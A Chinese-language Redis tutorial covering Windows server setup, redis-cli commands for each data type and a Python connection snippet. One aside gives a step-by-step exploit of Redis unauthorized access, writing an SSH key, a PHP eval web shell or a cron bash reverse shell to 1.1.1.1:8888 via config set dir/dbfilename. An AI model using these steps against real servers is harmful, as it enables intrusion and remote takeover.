redis数据库
redis数据库属于非关系型数据库,数据是键值对形式,由于在内存中执行常规的增、删、改、查操作,因此执行速度快,适用于做缓存数据库,当然除了基于内存,也可以根据需要做持久化存储(保存数据到硬盘)。
redis不仅支持简单的key-value类型(字符串string数据)的数据,同时提供列表(list),集合(set),有序集合(zset),哈希(hash)等数据结构的存储。Redis支持数据的备份,即主从(master-slave)模式的数据备份。
下面从常规的 命令行操作和python操作进行记录,基于windows服务器,redis版本3.0.504,64位。
命令行操作
1、服务器(server)端
首先,下面所有操作前提是安装好redis程序,本文略去安装过程。
(1)修改配置
进入redis安装目录,例如 “c:\Redis”,看到里面有客户端程序 redis-cli.exe、服务端程序redis-server.exe。
编辑配置文件:“c:\Redis\redis.windows-service.conf”,通常的修改有:
绑定服务到本机:
bind 127.0.0.1
如果希望其他ip的主机可以访问本机redis服务,则需要注释bing所在行:
#bind 127.0.0.1
设置登录密码为111222333,确保requirepass所在行 以requirepass开头,无空格和注释符“#”。
requirepass 111222333
(2)redis服务设置
设置redis服务为系统服务:
redis-server.exe --service-install redis.windows-service.conf
开启服务(下面也可以写为Redis,因为windows系统不区分大小写)
net start redis
关闭服务
net stop redis
可以设置redis服务开机自启动
系统服务 开启有两种方式:
a、通过任务管理器:
任务栏处右键,选择“任务管理器”,选择“服务”选项卡,在任意服务处右键,选择“打开服务”。
找到redis服务,右键修改属性,启动类型为自动。
b、通过命令行
输入:
services.msc
后续操作同a。
2、客户(client)端
(1)连接数据库
假设 ip为1.2.3.4,端口5678,分两种情况:
a、服务器无密码
redis-cli.exe -h 1.2.3.4 -p 5678
b、服务器有密码
假设密码为 ABCD2345
redis-cli.exe -h 1.2.3.4 -p 5678 -a ABCD2345
清空数据
flushall
该命令可以清空一个Redis实例中所有数据库中的数据
flushdb
该命令可以清空 当前数据库中的数据
选择数据库
select 1
查看当前数据库中的键(key)个数
dbsize
数据库信息查看
info
查看实例所属的角色
role
同步主从服务器数据
sync
查看服务器当前时间
time
将修改写入到 redis.conf 中
config rewrite
查看已连接客户端的信息
client list
键操作
# 查找
keys test*
# 检查给定 key 是否存在
exists key111
# 为给定 key 设置过期时间,以秒计
expire ttkey 60
# 为给定 key 设置过期时间,以毫秒计
pexpire ttkey 60
# 修改 key 的名称
rename oldkey newkey
(2)数据查询和设置
a、查询数据库配置信息
config get *
b、设置(插入)数据
设置 aa 键的值为 1234
set aa 1234
注意:对于redis未授权访问漏洞的利用(以用户权限足够为前提),通常是通过写入目标文件(target_file)实现的,目标文件包括:ssh公钥文件,root计划任务文件,web路径的可执行文件(webshell),通用步骤:
第一步,切换目录
config set dir /root/.ssh/
或者
config set dir /var/www/html/
或者
config set dir /var/spool/cron/
第二步,建立文件
config set dbfilename "authorized_keys"
或者
config set dbfilename "test.php"
或者
config set dbfilename "root"
第三步,写入内容(ssh公钥、一句话 或者 计划任务)
set x "\n\n\n\nssh-rsa AAAAVfSatZB+kSSEwL5v70om6vLw==\n\n\n"
或者
set x "\n\n\n\n<?php @eval($_POST[abcdefg]);?>\n\n\n\n"
或者
set x "\n\n\n\n47 * * * * /bin/bash -i >& /dev/tcp/1.1.1.1/8888 0>&1\n\n\n\n"
第四步,保存设置
bgsave
或者
save
c、查询数据
查询已经设置的键aa的值
get aa
查询的键不存在时,返回 nil 。
d、删除数据
del aa
字符串数据操作
注意:数据值可以是字符串,也可以是数字类型(整数和浮点数)
为指定的 key 设置值及其过期时间(秒),如果 key 已存在,将会替换旧的值。
setex keyname 60 newvalue
查看过期时间,返回 60
ttl keyname
为指定的 key 设置值及其过期时间(毫秒),如果 key 已存在,将会替换旧的值。
psetex keyname 60 newvalue
一次获取或设置多个值
mget key1 key2 key3
mset key1 'aa' key2 'bbb'
值的自增和自减
incr key
incrby key 11
incrbyfloat key 11.2
decr key
decrby key 11
哈希hash数据操作
这里的哈希数据,有点类似由 字典构成的集合(哈希表)。
对于一条数据,组成包括哈希表的名字和对应的值,值为字典类似结构的键(字段)值对数据。
键、值查看
hkeys hashname
hvals hashname
# 字段 数量查看
hlen hashname
设置数据,表名hashname,字段名field1,值为’aaaa‘
hset hashname field1 'aaaa'
HMSET hash field1 "Hhhhh" field2 "bbbbb"
删除数据
hdel hashname field1
查看一条哈希表中所有数据,字段和值
hgetall hashname
hmget hashname field1 filed2
列表list数据操作
分为普通列表操作(命令以L开头)和阻塞操作(命令以B开头),并且是双向的列表操作,分为左(L,列表的开头)和右(R,列表的结尾)操作。
元素移除
lpop keyname
lrem keyname 1 'test'
ltrim keyname 1 -1
rpop keyname
插入数据
lpush keyname value1 value2
rpush keyname value1 value2
linsert keyname before oldvalue newvalue
lset keyname 1 'sad'
查看数据元素(切片)
lrange keyname 0 1
lindex keyname 1
阻塞pop操作,超时设置100秒
blpop key1 100
查看单条列表数据中的数据元素数量
llen keyname
集合set数据操作
元素为string。
数据添加
sadd keyname value1 value2
元素随机删除并将其返回
spop keyname
删除元素
srem keyname value1 value2
所有元素获取
smembers keyname
查看元素个数
scard keyname
判断元素是否已存在
sismember keyname value1
随机返回指定个数元素
srandmember keyname 3
差集、交集、合集
sdiff key1 key2 # elements in key1 and not in key2
sinter key1 key2 #
sunion key1 key2 #
查找匹配元素
sadd set1 "hello" "hi" "bar"
sscan set1 0 match h*
1) "0"
2) 1) "hello"
2) "h1"
集合间元素转移,bar元素从set1转移(剪切再粘贴)到set2
smove set1 set2 "bar"
有序集合zset数据操作
元素为string,与集合不同的是每个元素都会关联一个double类型的分数score,分数是为集合中的成员进行从小到大排序的依据。
元素添加或数据更新
zadd key score1 member1 score2 member2
成员数量统计
zcard keyname
zcount keyname 10 30
成员分数查询
zscore key member
成员分数修改
zincrby key 10 member
成员(指定分数区间)排名,按照分数从高到低
# 无withscores时,只显示排序后成员,否则,还会显示对应的分数
zrevrange key 60 80 withscores
zrangebyscore salary (5000 400000
成员删除
zrem key member
zremrangebyscore key 0 60
python操作
需要安装redis的python库,执行:
pip install redis
数据库连接操作
import redis
REDIS_HOST = 'localhost'
REDIS_PORT = 6379
REDIS_PWD = 123456
pool = redis.ConnectionPool(host=REDIS_HOST, port=REDIS_PORT, db=0, password=REDIS_PWD)
rediss = redis.StrictRedis(connection_pool=pool)
增、删、改、查操作 待补充。